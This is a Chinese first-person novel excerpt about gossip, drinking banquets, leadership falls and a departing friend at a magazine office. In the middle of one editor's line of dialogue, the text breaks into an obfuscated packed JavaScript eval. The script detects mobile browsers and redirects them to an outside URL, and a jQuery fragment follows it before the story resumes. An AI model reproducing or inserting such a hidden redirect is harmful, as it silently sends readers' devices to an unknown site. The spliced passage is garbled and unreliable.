我真地要怒了。我看了看,直接在群里回复说:“我还要写稿子呢。”我不高兴,小潘她们也知道我应该不高兴。 “你出去走走去!大省!”小潘安慰我说。我知道她是要我出去消消气。我还没来得及出去,我也没打算出去,因为我手里还有活计。杨编辑就气势汹汹地从她的办公室里杀了过来。 她来到我们办公室门口儿,先在门口儿站定,竖起了耳朵,睁大了钝角三角形的眼睛,朝着办公室里的老臣威严地扫视一圈儿,并没有人在说她的坏话。 她才开口宣道:“大家手里都快一点哈。孙部长要求今天审完的。” “我们的都快审完了,就郝跃还没开始。她不知道去了哪里打电话去了。”吴悠悠说。 “我来给她打电话,让她赶紧回来审稿子。这个郝跃,也真是的。”杨编辑说。 郝跃又回来了:“哎呀,我得赶紧来审稿子了。你们都审好了?怎么那么快?” 吴悠悠说:“我们一大早就开始了。你别说话了,赶紧干活!你越耽误越往后拖。” 郝跃说:“哎呀,我越是着急越是搞不动了。你们怎么搞得,也太卷了。” 小潘说:“我们也没卷,就是按部就班地审的。你是起步太晚了。” “是的,我是什么都比别人晚。结婚也晚,生孩子也晚。你说这事儿整地。女人啊,要早点结婚生孩子,否则,年纪大了,就只剩下被别人挑的份儿了。”郝跃说。 “郝跃你别说话了,赶紧审稿子吧。”吴悠悠说,“大省,我们到隔壁去吧。不打扰郝跃审稿子。” 我说:“好的。”我搬着电脑跟吴悠悠一起出去了。 “我们去隔壁的会议室吧。”吴悠悠说。 “行。”我说。 那时是春天,会议室里,一张大通铺似的大桌子,宽宽敞敞。窗外,绿树成荫,一缕阳光从窗外照进来,落在桌子上。 “大省,你晒吗?我把窗帘拉一下?”吴悠悠说。 “不用,我没那么矫情。”我说。 “唉!郝跃天天在办公室里发牢骚,我都要抑郁了。”她说,“我带着耳机都没用。你呢?” 我说:“你不说,我都不敢说。我以为就我一个人难受。我戴着耳塞的。也是作用不大。” “郝跃说她自己抑郁了。可是我觉得我都要被她搞抑郁了。”吴悠悠说,“她怎么天天在办公室发牢骚啊?她家孩子拉个屎,巴不得开个国际会议来研究一下。” 我说:“我跟你说实话,我自己在家都哭过。就是受不了了。我都想换个办公室了。你要是不说,我还不敢说呢。我怕我说出来,你们说我嫉妒她有家庭有孩子。我不是没结婚没孩子嘛。” “她这样不行的。谁吃得消啊?我们还得干活儿呢。我们让阿杨跟她说说吧。”吴悠悠说。 “嗯,你跟阿杨说说把。我可不敢说。”我说。 这一天,办公室里只剩下郝跃、我,还有清灵。 郝跃功成名就地心满意足地看着我跟清灵说:“有时候,我蛮羡慕你们这样的,不像我们这些有孩子的,那么多烦恼。” “我们”真是一个攻击人的好方法!凡事说一个“我们”,就可以狠狠地孤立对方,成功地打击对方。因为你只是你自己,而“我们”是“我们”。“我们”是团结的是友爱的,而你是孤立的是自绝于人民的,是错误的,是和“我们”背道而驰的,是不正常的,是可以被“我们”唾弃的。多好的“我们”啊!” 清灵说:“你嫁地那么好,你还有烦恼啊?你公公是退休老干部,婆婆是医生。你们家那么有钱,金河市一套房子,青提区两套房子。你还有什么烦恼。” 郝跃说:“他们有钱是他们的,又不给我。我老公工作不好,个子也不高。还是个妈宝男。” 清灵说:“我上次见过你老公了,你还别说,你老公长得比你好看。你老公一家颜值都高。” “我公公说我是药篓子。把我给气的!你说你个小老头儿,没事儿就去楼下小花园里种种菜,种种花,你闲得没事儿,说我干什么。”郝跃说。 清灵说:“你看,你们家还有个小花园,多有钱。” 郝跃说:“我们家那房子是我婆婆单位分的。也就两百多万吧。” 清灵说:“你看,你就是一个包租婆。你自己有房子,你婆婆家有房子。说到底,你们家就是有钱。” 郝跃说:“我的房子是我娘家拆迁了,我妈给我二十万,我自己买的。我结了婚就不住那里了,租出去了,收收房租。” 清灵说:“你说你个包租婆,自己那么忙,还要操心我们。甚是劳累。赶紧吃药吃药!” 郝跃说:“哎呀,我真地忘记吃药了。吃药吃药!”她说着,把一包包的袋装中药冲剂拿了出来,一袋袋地撕开了,放进她的大茶杯里,像是勾兑咖啡一样冲了起来。 “昨天看到你相亲了,在肯德基门口儿,是你吗?”郝跃瞥了一眼清灵说。 “我相亲怎么了?”清灵说,“你又不是没相过。切!” “我也相过。但我不像你,我都是偷偷地去的。”郝跃说。 “你别说了。有一回,你跟我换班,说是家里有事,结果你是去万达相亲。我跟别人调了班,去相亲的时候,这才发现你也在相亲呢。就坐在我对面!相亲就直说呗,我不觉得相亲有什么好丢人的。” 郝跃说:“我是觉得,你不要让《小坛》那些同事看见。他们那些家室的,看见你相亲,会说的。《小坛》那些人,你又不是不知道。” 清灵说:“他们看见了又怎么样?大龄青年相亲很丢人吗?单身可耻吗?相亲、谈恋爱可耻吗?我只是相了个亲,我还没有亲嘴儿呢。他们有家有室的,赤条条地睡在一起,就有资格来议论我了?他们结了婚就有了护身符了?他们怎么样胡吃海塞偷鸡摸狗儿都是神圣的?我没结婚,我连相个亲都成了可以被他们八卦的污点了?” 郝跃说:“说是这样说。可是,被他们看到了,八卦地你难过呢?” 清灵说:“他们八卦我?我看他们是羡慕嫉妒恨吧!他们的家室,经过七年之痒,八年之痛的,早用够了吧?所以看见大龄青年相亲,他们的心里直痒痒!别看他们一个个表面上装地和和美美的,其实骨子里早就想换人了吧?哼!他们那点心思,别以为我不知道。装什么装!” “你这个人啊,不跟你说了。太偏激了。”郝跃说,“我说你一句,你有十句等着。真是的。”郝跃说。 “你不偏激?我相个亲你都拿来说事儿?”清灵说。 “行了行了!不说这个话题了!晚上开会,知道吧?”郝跃说。 “不知道。”清灵说。 “怎么又要开会?”我说。 “听说,郭浩得了肾病,要换肾。任社长号召大家捐款。”郝跃说,“我要是发展严重了,也得换肾。” “换就换呗,你家那么有钱。”清灵说。 “以后科技发达了。猪的器官就可以给人用了。人想换肾啊换肝啊,可以用猪的代替。”郝跃说。 “是吗?那感情好啊!”我说。 “嗯,以后还会有人造子宫,人可以不用自己怀孕。”郝跃说。 “是吗?那太好了!”我兴奋地说。 晚上,我们坐在一起,开会了。 “同志们,天有不测风云,人有旦夕祸福。郭浩生病住院了,现在等着换肾。一方有难八方支援,我们作为他的同事不能袖手旁观。”任社长说。 郭浩平日里跟着任社长行走,任社长对于他的遭遇应该颇为同情吧,对于号召给郭浩捐助也应该非常卖力吧。更何况,郭浩的病情如果不是轻伤不下火线,一直没有好好修养,也不会被延误地如此严重。 任社长确实是对郭浩的肾进行了深入地研究了的,接着,他从医学的角度,用相声的口吻,对郭浩的肾津津乐道了开来:“本来,他是有两个肾的。换上一个呢,他就有三个肾啦!原来的肾还在他的体内,还可以继续使用。”任社长用一种很滑稽的语气说。 全场“哄”地发出一阵笑声。那笑声让我的心里一片悲凉。捐款是给郭浩换肾之用,为救人一命,尽点绵薄之力,那本就是应该的。至于他是怎么去换,他换完以后体内是两个肾还是三个肾,这种有些难堪有些隐私的事,其实没有必要当众讲给大伙儿听的。任社长为什么要拿郭浩的肾来说事儿呢。大家又为什么笑地那么开心呢。 三个肾很好笑吗,我是笑不出来。 “听说换肾以后还要看排异情况,还不知道能不能成功。要是排异不成功,那他这第三个肾就白换了。”任社长继续说。 “哈哈哈哈!”台下的人又笑了。 这是人家性命攸关的事啊。大家怎么能笑地出来呢。然而,大伙儿就是笑地那么轻松笑地那么开心。感情不是自己的事。任社长也是一副无所谓的样子。郭浩不是任社长的爱将吗?郭浩现在生死未卜,任社长不应该惋惜吗?我百思不得其解。 这以后,我有很长一段时间没见过任社长了。 一天,杨编辑来我们办公室了。她抱着膀子,踱着方步,在办公室里走动了起来。她像个警惕性极强的老鼠一样,朝着走道两旁的办公桌上东瞅瞅,西望望。 没几天,清灵的桌子上摞起了一摞书,摞地高高的,像是一堵城墙。 我问他:“你的桌子上为什么摞着那么多书啊,你不嫌烦啊?” 他说:“我不喜欢被偷窥!那个人天天抱着膀子,在办公室里转悠,她怎么那么爱偷窥别人啊!” “大概是怕别人勾引她老公吧!她们这些年不是阔了嘛。都生怕她们老公被人家抢走了。”我说,“我也不喜欢她这样,眼睛跟雷达似的,到处探测。” 清灵说:“我没事儿的时候就看看书,写写东西。赚点稿费。他们出版社昨天通知我去领奖了。” 我说:“啊?你好厉害啊。你写地东西都得奖了啊?” 清灵说:“奖品就是两本书,那个地方好远啊,害得我自己还得搭油费。回来的时候,匆匆忙忙地,差点开到苞米地里去。” 我说:“你文采好,闲下来还能写写东西,我真羡慕你。你都是发表在哪里的啊?我想写还不知道有哪些门儿路儿呢。” 清灵说:“我这儿有很多邮箱地址,你写吗?你要是想写,我全部发给你。” 我说:“我不写了,我不太适合写这些。我觉得我适合写小说。” 清灵笑着说:“你倒是写呀,写出来给我们看看呀。” 我一时也不知道说什么,我早想写一些东西了。我也觉得我会写一些东西,可是我到现在也没有开始写一些东西。 我就说:“这就像欧亨利的《最后一片叶子》一样,不到最后,我是不会写的吧。” 清灵说:“你那不叫《最后一片叶子》了,你那叫《最后的杰作》。” 我对清灵的感觉像是以前在哪里见过一样,可是我没有跟他说。说了,倒像是引用了贾宝玉对林妹妹的话,有些暧昧的味道了。这些年,我一直不明白,清灵到底是因为什么让我觉得似曾相识。这么多年过去,我终于在无意间找到了答案。他的样子像是张利华。尽管张利华是黑的,他是白的。张利华是女的,他是男的。可是,他依然像是张利华。他跟张利华一样的文艺,一样地在别人眼里那么傻帽,一样恣肆地跟我一起开怀大笑。一样地跟我一样有时候被欺负了还得委曲求全地生活在这个世上。一样地不卑不亢不攀附,横眉冷对前夫指,却给我这样一个在他眼里很弱小的人,以认可和呵护。一样地对世事洞若观火,却不染尘埃,一身傲骨。 长大以后,我再也没有见过张利华,但是我能够想象她应该是像清灵这个样子的。或许,她比清灵还要刚强。小时候的清灵我也没有见过,但是我能想象,他小时候一定是张利华那个样子的。张利华不是一身小男孩儿的打扮,就穿着个短裤和红色的背心吗?那一定是小时候的清灵了。他们的下巴都是有些高高地向上抬着,他们的眼睛都是亮亮地向前看着。他们都是随时准备着要说些什么。 是的,我心里有个清灵,我心里也有一个张利华。张利华如果是个男人,会让我觉得安心,清灵如果是个女人,也会让我觉得有依靠。小时候,在山东,有个张利华,长大后,在南方,有个清灵。在我心里,隔山隔海的张利华跟清灵有很多的相同。原来,这世间真正能够走进你灵魂深处的人跟你的相遇都是那么美好和神奇。 “你很单纯。”清灵呆呆地看着说我,“单纯总比阴险好。” 我知道很多人说我“肤浅”,那是纯粹的鄙视。清灵说我的“单纯”,认可的成分比鄙视的成分多一点。平时,我在办公室是话最少的一个,骂领导,也是骂地最少的一个。别人有话也不跟我说,别人的话,我也只是听听,偶尔来一句追问,也只是暴露我的肤浅。我也以没见识自居,对身外之事也不太感兴趣,别人也不屑跟我说些机要的话。 “你最近见过郭浩吗?”清灵问我。 我说:“没见过。他应该在休养吧。” “郭浩还蛮好的,他不害人。”清灵说。 原来,谁人“世故”,谁人“猥琐”,谁人“不害人”,他比我清楚。 “你说话要小心点,人家转头就跟别人讲了。再去领导那里参你一本。”清灵警告我说。 “是的。”我说,“办公室里,你的一句话,可能会被别人断章取义、掐头去尾,拿去传播。然后一生二、二生三,给你的话来个续编,让你的话生出几个同母异父的兄弟。” “我想回河心洲去。河心洲水浅,在那里自由,这里水太深,我不适应。”清灵说,“我要回到我以前的那个小岛上,那里无忧无虑,没有什么压力。不像这里,白骨精、牛魔王,千奇百怪的!” 我的心里咯噔一下。 清灵要走了,他本是乡下长,乡下生,再回到乡下,也没什么不好。也许,他本来就不适合来这里。河心洲对他来说当然是好的。可是我怎么办。 午饭的时候,我若无其事地大口大口地吃着红烧肉,不叫任何人看出我的心事来。清灵要走了,我的心里有什么东西被生生挖去了。谁还能像他那样护着我,我有了愁闷还可以跟谁说?偌大的《小坛》,我唯一的这点阴蔽都没有了。我自私地想,为什么清灵要走呢?他为什么不能迟一点再走。至少,等到我也走的时候。 我很难过,很不舍,我不想让清灵走。可是,我什么都不能说。 晚上,我骑上我的蓝色的捷安特,一个人在长长的大马路上飞驰着。漫空中,一抹抹白色的云彩,像凤凰,又像是银河。黑黑的枝头上,小鸟扑棱棱地腾跃着。日暮伯劳飞,风吹乌桕树。谁家的女子在思念她心上的人儿了。 晚风吹了起来,拂动人的面颊,外面的空气多好哇!地里的瓜果儿在夜色中泛着白白的光,像一个个白白胖胖的娃娃!那绿色的叶子在月夜下看起来亮晶晶的,一片片地舒展着,像那些娃娃的绿衣裳。虫儿“啾啾啾啾”地叫着,一只乌篷船停泊在温柔的港湾里。 我还记得,清灵说过:“我小时候就会跳水,我就站在桥上,从上面直接跳下去,砰!一下子跳到水里!” “哈哈!”清灵,真想看你小时候跳水的样子,可是无忧无虑的时光永远是回不去了。 我们还幼稚的像个孩子,我们跟孩子一样的无助。我知道你的清澈你的良善,我也知道这是比名和利更滋养人的东西。真心想去哪里或是被迫去哪里都没有关系。好在我们的骨子里还站着我们高傲的自己。好在太阳还在照常为我们升起。 此后,我还是规规矩矩地上班、下班,在办公室里安安静静地。清灵走了,此地再无知己。人家还是高高在上,我还是低低在下。人家就是睿智就是优秀就是有钱就是高人一等,我就是愚蠢就是低级就是没钱就是矮人一头。物失其类,动辄得咎。清灵走了以后,我在《小坛》一无所有。这儿什么都没有。连一个真正平等的看待你、真正跟你惺惺相惜的人都没有。我比以前更加沉默了。 我无意间登录邮箱,看到了一条信息。是清灵。 “大省,昨天看《泰坦尼克号》,忍不住哭了。杰克还是走了,露丝要好好生活!杰克如果在天有灵,也会守护她的。这是我以前的相机,本来想留着以后拍照用的,现在看来是用不上了。你留着吧。如果不喜欢,就把它扔掉。你的所有联系方式,我都删了,你也把我的都删了吧。毛孩于河心洲如意里。” 我心里一酸,眼泪一滴滴地掉下来。落在面前的书页上。我一次次地擦眼泪、擤鼻涕,抽纸堆地高高的。 我哭什么?因为错失了清灵吗?不是。我根本没爱过清灵。他没说过,我没想过。即使他在,我们也是一样没有结果。可我哭也的确是为的清灵。我在小坛,无家世无资历无资质,所得不过是一串八卦两嘴议论三方压抑。我哭地是风雨里还有个人相互扶助。我们在别人的眼里,无非一个吴妈,一个阿Q,都是底层的、有问题的、可笑的、可悲的人。阿Q在吴妈的眼里只是一个佣工而已。而清灵于我,是任何一方面都不亚于那些阔佬儿、阔太的青年才俊。可是他跟我一样,从一个清新的小岛上到了这闷罐子似的小坛,他当不上官做不了宰,无盘根错节又不会拉帮结派,他就是不讨喜,就是被人家看不起,就是没有好下场。 所幸,清灵还年轻,时间还早,未来还长! 一天,孙部长开会的时候说:“又到了稿三打攻坚战的时候了。这段时间。辛苦大家加加班,忙过了这段时间就轻松了。大家早上七点钟就到,好吧!社里提供早饭!” 第二天,大家早早到了社里。孙部长正招呼着大家去他的办公室领早饭。早饭都放在一个保温箱里,统一的,每人两根油条,一个鸡蛋。 孙部长招呼大家说:“都过来领早饭了哈!同一个办公室的,看看,谁还没有来领早饭的。大家互相通知一下!” 我站在人群堆里等着领早饭。 “郝跃来了吗?”孙部长问我。 “她好像还没到,我帮她带吧!”我说。 “好的!”孙部长把两份早饭递给我。 我高高兴兴地接过来那两袋早饭。 孙部长办公室里的西北角上,一堆德高望重的老年男性编辑也在吃着手里的早饭。 “今天的早饭蛮特别的。两根油条,一个鸡蛋!”徐编辑笑着说。 “一根油条,两个鸡蛋!”老向说。那堆男人哄堂大笑了起来。 办公室里的女人都不吭声儿。默默地等着领早饭。 只听到曹编辑打圆场儿说:“一百分!一百分!” 曹编辑的话,就像一阵清风,把那刚才的一股子臭屁味儿给吹地干干净净。这样的话,不仅出于他的机智,更看得出他内心的干净、和他对女性的尊敬。 我想,清灵不在了。他要是在的话。他断不会说出那样的臭屁话。清灵还像个孩子,他幽默但不油腻,清雅但不装逼。他应该知性知趣,但是他整个的人让人觉得干净,他的肺腑里没有什么脏东西。 不知道是为什么,很多年轻人,不仅人长得年轻,无论是谈吐还是内心,都像个清澈的小溪,干干净净,表里如一,他们血气方刚,年轻气盛,但是对身边的女士却是恭恭敬敬,界限分明;倒是很多年纪大的,不仅人变得油腻,连谈吐和内心也让人觉得油腻,像个烂泥塘,表面上衣冠楚楚,内心里却是一肚子不干不净,他们血气衰微,却是自美其美,觉得天下的女子都垂涎于他,垂涎于他丰厚的腰和臀、丰厚的妻儿子孙,和终将归于他的儿孙的丰厚的腰包。 回到办公室,我说:“孙部长这个人看起来蛮温和的,他还亲自给我们发早饭。有的领导我看着都害怕。” 郝跃说:“哪个领导让你那么害怕啊?” 我说:“我最怕任社长了。我一来《小坛》,他就是我的顶头上司。我看到他就害怕。” 郝跃说:“任社长啊,我看到他也害怕。” 我说:“是的吧?别看他个子小。他那个将军肚一挺,声如洪钟。跟拿破仑似的。” 郝跃说:“肚子大的人声音就是响。你没看到那些唱高音的吗?都得是胖子。” 我说:“是吗?原来这是有科学依据的?怪不得任社长的声音那么响呢。原来人的肚子跟山洞似的。肚子越大,回响越大啊。” 杨编辑说:“人都是平等的啊。你们见到社长为什么要害怕啊?骨子里的奴性!” 我心里想,我岂止是见到社长害怕,我见到你也害怕。不怕县官就怕现管。我害怕你拿捏我,害怕你给我小鞋穿。我因为害怕你,平时说话做事都是我敬着你顺着你啊。我在你跟前才唯唯诺诺,小心翼翼啊。平等?说得好听!我们什么时候平等过?你说凶我就凶我,你说个屁话鬼话,我还得老老实实俯首帖耳地听着,我敢凶你吗?我敢反驳你吗?这种不对等的关系叫平等吗?我连跟你一个小组长都不平等?你居然说我跟社长平等?你这不是睁着压眼睛说瞎话吗?你睁着眼睛说瞎话我都不敢吭声儿不敢反驳,我还跟你平等!你说我奴性,我都不敢反驳你,不敢说你胡说八道纯粹是放屁,我还跟你平等! 杨编辑说:“你们知道任社长的事儿吗?” 我跟郝跃说:“不知道。” 杨编辑又问:“你们真的不知道啊?” 我说:“真的不知道。怎么了?” 她说:“他这几年不是春风得意吗,眼看着要升职了,人家为他祝贺,请他吃饭。他一高兴,多喝了几杯,喝醉了,回到家,昏睡不醒,呕吐物差点让他窒息。等他家人发现的时候,他的大脑已经被损伤了,不能进行深入地思考了。” 我说:“啊,原来如此,我们哪里知道!” 杨编辑说:“所以这些日子,你们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137807|180320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没看到他吧?他现在就是个闲职,等着退休了。所以,人啊,不能得意忘形。” 我说:“啊?那他现在不当社长了啊?” 杨编辑半调侃半讥讽我们说:“是啊,现在新上任的是黄温勇社长了。你还说,‘我看到他就害怕——’”她故意把“害怕”二字说地很夸张。那意思是,任社长现在就是个病猫,无权无势的,已经没有什么虎威了,你居然还害怕! 3.以文会友、陈编辑 又到了稿三阶段了,办公室里还是一如既往的大佬的身影和大佬的声音。 这次是徐编辑给我们开会。 “我们开个短会哈。黄社长说,这个月的杂志销量不太好嘛。黄社长让我们出出主意。”徐编辑说。 “我们是编辑,又不是销售。我们能出什么主意啊。”杨编辑说。 “我们可以回去向我们的亲戚朋友推荐这些杂志啊,他们家里都有孩子吧。让他们订了给他们的孩子看看。”徐编辑说。 “现在的孩子哪里还看杂志,哪像我们小时候,就爱看《读者》。”吴编辑说。 “不行就利益诱惑一下。搞个作文比赛。”徐编辑说,“我跟设计部的说说,让他们在杂志的最后几页附带几张作文纸。参赛的作品要誊抄在这几张作文纸上。这样,他们想参加作文比赛,就要买这本杂志。一本杂志二十块钱,也不是很贵。”徐编辑说。 “作文比赛,你能给人家什么?无非是一张红纸奖状。他们的参赛费就是几十块钱呢。现在的家长跟孩子都学精了,他们知道作文比赛的含金量不高,几乎没什么用。人家都去参加数理化竞赛去了。人家参加数理化竞赛,弄个金奖、银奖的,不比你个作文比赛的一张红纸强啊。”老梁说。 “你们这些人啊,怎么长别人志气,灭自己威风呢。你们怎么不多对他们宣传一下参加作文比赛的好处呢。”徐编辑说。 “什么好处?我是中文编辑,我自己都不知道有什么实际的好处。”刘编辑说。 “怎么没有好处的?人这辈子总得拿个奖吧。小孩子现在拿个奖状,等他们以后当了父母亲,还可以拿出来跟自己的小孩儿炫耀一下。你看,你老子当年还拿过作文比赛的奖状呢!”徐编辑说。 “然后,他家孩子长大了也去参加一次作文比赛,也去拿一张奖状!留着以后再忽悠他的下一代!” 杨编辑说。 “对!接着忽悠。这也是一种传承。”梁编辑说。 大家哄堂大笑。 “你们不要笑。这是黄社长的安排。我也是贯彻执行的哈。我们回去以后分头行动,去向我们的亲朋好友推荐这批杂志。让他们来参加作文比赛。我们每个人负责推荐一百本,好吗?我老婆教中学的,我这就去向她推荐一下,让她们班的学生都来参加这个作文比赛。让她们全班都订。一个不落!没有商量的余地。”徐编辑说。 散会了,大家回到了办公室,都闷闷不乐。 “怎么跟亲朋好友的孩子推荐啊?我们哪开得了这个口啊?”杨编辑说。 “是啊。我这儿也没什么亲戚朋友。我妹妹家的孩子才几岁,还不认识字呢。”我说。 杨编辑说:“人家就是有这么大的孩子,我怎么好意思厚着脸皮让人家出钱买呢?” 我说:“是啊。我最怕这样的任务了。难为死我了。要不,我这个月的工资不要,我把这批杂志买了吧。”我说。 “就是参加作文比赛也是自愿的啊,哪有强买强卖的啊!”杨编辑说,“这样的事儿我也干不出来。” “你干不出来,徐编辑干地出来。人家干地出来的就叫执行力强。”梁编辑说, “像我们这样太为别人考虑的人,根本成不了事儿。” “现在的孩子都学聪明了,他们知道现在的作文奖项,是按照片区的参赛名额配送的。他们那些本来作文就写得不好的人参赛,都是帮别人做分母的。哪个愿意做分母啊。”刘编辑说。 “徐编辑那么积极,那是因为他老婆带地是文科强化班,她们班的文学水平比别的班的高很多。也就意味着,本片区其他的孩子参赛的越多,分母越大,她们班的学生中奖率越高。普通的孩子,尤其是像理科班的孩子,还有些体育生,即使参赛了,他们的作品也是石沉大海。何况,有的孩子,那作文水平本来就不行,你让他写一篇普通的作文,他都写不出来,你还让他参赛?这不是赶鸭子上架吗?”梁编辑说。 “这些大家都清楚,可是徐编辑非要大家去鼓动人家报名,谁要是鼓动不起来,或是鼓动的名额太少,还要挨骂。这可怎么办呢?”我说。 正在为难之际,杨编辑发话了:“人家实在不能参赛的就不参赛呗,为什么非要让人家参赛?要符合实际啊。你们怎么都不吭声啊?怎么万马齐喑了啊!我去跟徐编辑说!”杨编辑愤愤地出了办公室的门儿。 “杨编辑胆子真大,她敢去跟徐编辑说!我可不敢!在徐编辑面前,哪个虫儿敢开口?”我说。 “杨编辑跟老徐家多少年的交情了。以前,阿杨一家还没发达的时候,一家子骑着电动车去金河市里,半路上遇见徐编辑。徐编辑觉得他们可怜兮兮地,就让阿杨抱着孩子上他的车,老聂一个人把电动车骑到市里。” 梁编辑说。 “好在有阿杨为我们解围。否则,徐编辑盛怒之下,把他的雷劈到我的头上,肯定把我给炸死了!”我说。 元旦前夕,组里聚餐,大家围坐在一起。饭桌上,除了组里的同事,还有两副新面孔。一个年纪有五十多岁,身材发福,儒雅斯文。他像块方方正正的老豆腐一样,稳稳地坐着。一个年纪有三十多岁,有些瘦削,有着菱形的脸面和头脑,像个外星人。 黄社长发话了:“马上就是元旦了,新的一年就要开始了。大家难得地聚一聚哈。我来介绍一下,我左边的这位呢,是市《赛尔否》杂志社的陈编辑!陈编辑跟我年纪差不多大,平时公务缠身,今天难得在百忙之中到我们《小坛》来指导工作!我右边的这位呢,是平陆区人事科的张科长!张科长才三十几岁,年轻有为啊!欢迎张科长莅临指导!” 陈编辑笑呵呵地看着大家,频频点头。张科长端坐主位,不动声色。 “今天呢,是跨年,把大家聚在一起,以文会友!来!我敬各位资深美女!”黄社长说。女士都站起来,端起手里的酒杯,一起接受黄社长的敬酒。 “呵呵!我们是资深美女!”我笑着说。 “你老!我不老!”郝跃立刻反驳道。她身旁的杨编辑笑语盈盈地看着她。像是看着自家的小狗儿在撕咬别人的脚丫。 大家开始吃菜,郝跃举着手机对着我拍照: “这些菜太咸,我都不能吃。我只能吃点清淡的。我拍个照片给我婆婆看看。” 接着,她对杨编辑说:“我刚买了一瓶生抽,用了不到两回,发现家里还有一瓶没用完,我拿给你吧?” 杨编辑说:“好的。你回头拿给我吧,我用!” “我生了这个病,不能吃生抽,不能吃盐。我婆婆烧菜爱用生抽。”郝跃说。 “嗯,你婆婆炒菜蛮好吃的。她炒地藕很脆。”杨编辑说。 “我们家门口的芭比馒头你还要吃吗?我帮你带。”郝跃说。 “好吧。明天给我带几个吧。”杨编辑说,“我现在也不敢吃油腻的东西,我减肥呢!我自己都觉得我好瘦好健康啊。我现在都穿二尺六的裤子了。” “人在衣中晃嘛,要的就是这个效果。你们都是骨感美女。”郝跃说。 阿杨说:“我还想再瘦!我的大腿要是再瘦上一圈儿就好了!我们去韩国抽脂吧!” “大腿不要瘦了!”郝跃说,“我还想抱你的大腿呢!” “来!我来敬各位美女!”陈编辑说。女士们又一起站起来,接受陈编辑的敬酒。 “陈编辑自己是《赛尔否》杂志社的编辑,事业成功,女儿也教育的很成功。”黄社长说,“陈编辑的女儿都上大学了吧?” “大三!”陈编辑笑着说,“我平时都忙自己的,也不怎么管她,自学成才!自学成才!” “虎父无犬女啊!把女儿培养成这样,不容易啊!”黄社长说,“来!吃菜!吃菜!” “这次聚餐,没看见你们任社长嘛?”陈编辑问。 “哦!他最近有事,脱不开身。”黄社长身边的徐编辑赶紧说。 陈编辑说:“我跟你们的任社长是好朋友。我不佩服别人,就佩服他。他这个人,确实是有一套的。要不,他也不能牢牢地坐住社长这个位子。”陈编辑说起任社长的伟大与睿智,喋喋不休,大有与有荣焉的意思。 “他这个人啊,嘴皮子能说的。他不光是懂得杂志社的这一套,他行走江湖,也是走到哪吹到哪。无所不通,无所不晓。我们跟他一起出去学习,他在火车上跟人家东北来的那些卖貂毛的老板也能摆活半天。把人家那些老板给说地一愣一愣的,非要送他一条貂毛围脖儿。” 他还在大吹特吹,坐在我对面的,他身边的黄社长和徐编辑,很默契地看了对方一眼,相视一笑,露出格外滑稽的神色。任那个不明就里的陈编辑继续吹他的。 他大概是不知道任社长因为贪杯已经严重损害了他的健康。他大概不知道任社长的地位早已一落千丈,他的身价也随着一落千丈,他的大名,也不像以前那么让人觉得如雷贯耳了。据他对任社长的了解,也可以推断出来,他已经很长时间不跟任社长联系了。任社长在其位谋其政的时候,朋友自然是很多的。 “你看你这小腰儿,一点赘肉都没有!我就羡慕你们这些能把衬衣塞进裤子里头的。多美!”郝跃说。 “是的呢,我是瘦了呢,我发现我最近怎么吃都吃不胖。”杨编辑说。 我不吭声儿。我五大三粗,我没有小蛮腰,倒是有长年累月经久不瘦的水桶腰。 “又开始卖弄她的腰了!一天到晚卖弄她的腰!”吴悠悠悄悄地说。 “想瘦就要管住嘴迈开腿。我还是不够自律。我每天晚上回去没事儿,就爱看着电视啃鸡爪子。我喜欢我们家的大彩电。”杨编辑说。 “嗯。你看你们日子过得多惬意。周末你们一家子可以开着车出去玩。五个座儿,正好坐你们一家子。”郝跃说,“女人就是要嫁地好。嫁地不好连个车都没有。” “郝跃你这说的什么话?什么叫嫁地好?什么叫嫁地不好?有钱就是嫁地好?没钱就是嫁地不好?你要是这样说,我们都是嫁地不好的了?”小潘编辑说。 “你们都嫁地很好啊!你们的老公都是编辑,你们有房子也有车子。” 郝跃说。我知道,郝跃就差直接说她其实只是说我的了。我不是找了个没钱也没车的嘛?所以才给她攻击的机会啊。我现在不是离婚了吗,她要是攻击我离婚的事,我还真不知道该怎么体面而又贴切地还击她呢。幸好,有人替我接住了她的话。我发现,很多次,郝跃想攻击我的时候,都是组里的人及时救援了我。《小坛》还是有正义,还是有好人的。 “我们哪里嫁地好了?我们的老公只是普通的员工。我们也不是大富大贵。”小潘说。 “我有一个同学,她家里就特别有钱。她的抽屉里,全是黄金首饰。人家是真的嫁地好。我发现,有的人,生来就具备吸引优质男生的资质。”郝跃说。 “每个人有每个人的生活。你羡慕人家,回头你也找个有钱的呗。”吴悠悠说。 “悠悠你别说了。按照郝跃的说法,我们都是嫁地不好的。我们这些嫁地不好的,没资格说人家。”小潘说。 这壁厢,女人们小声儿说着话。那壁厢,男人们纷纷起立向张科长敬酒。张科长纹丝不动,见惯不惊。接受着大家的礼敬。 “张科长!我敬您!”杨编辑说。 “好!”张科长微微点头。岿然不动,谁也不敬。 “张科长!我敬您!”郝跃说。 “张科长!我敬您!”小潘说。 女士们纷纷起来礼敬了张科长。就剩下我了。我想了想,实在没有敬他的理由。其他的男士都是主动礼敬女士,以此来彰显绅士风度,这个张科长却是等着女士去敬他,如此只有威度,没有风度的人,他实在不值得我去礼敬。 大家也许是敬他的官威吧。他当他的官,关我什么事。我是青提区,又不是平陆区。 就因为他是科长,我就得敬他吗?凭什么?为什么? 我就不敬。我假装糊涂,就是没有举起敬张科长的酒杯。 他当他的科长,关我什么事? “陈编辑女儿大学毕业以后,准备从事什么行业啊?有没有打算女承父志啊?”黄社长问。 “我随她!她要工作就工作,要读研就读研!目前来看,她比较倾向于读研。”陈编辑笑笑地说。 “读研好啊!我们这儿,郝编辑跟宋编辑都是研究生。”黄社长说,“不过,女孩子读书太多也不是好事儿。宋编辑就是读完研才工作,把婚姻大事耽误了。她的婚姻……你懂得,宋编辑现在是单身。” “懂得!懂得!”陈编辑看了看我说,“宋编辑都工作好几年了吧?身上还有书卷味儿,很难得!” 我说:“谢谢陈编辑!您说话的口气跟我的导师似的!我叫您老师吧!” 陈编辑说:“宋编辑是哪个大学毕业的?” 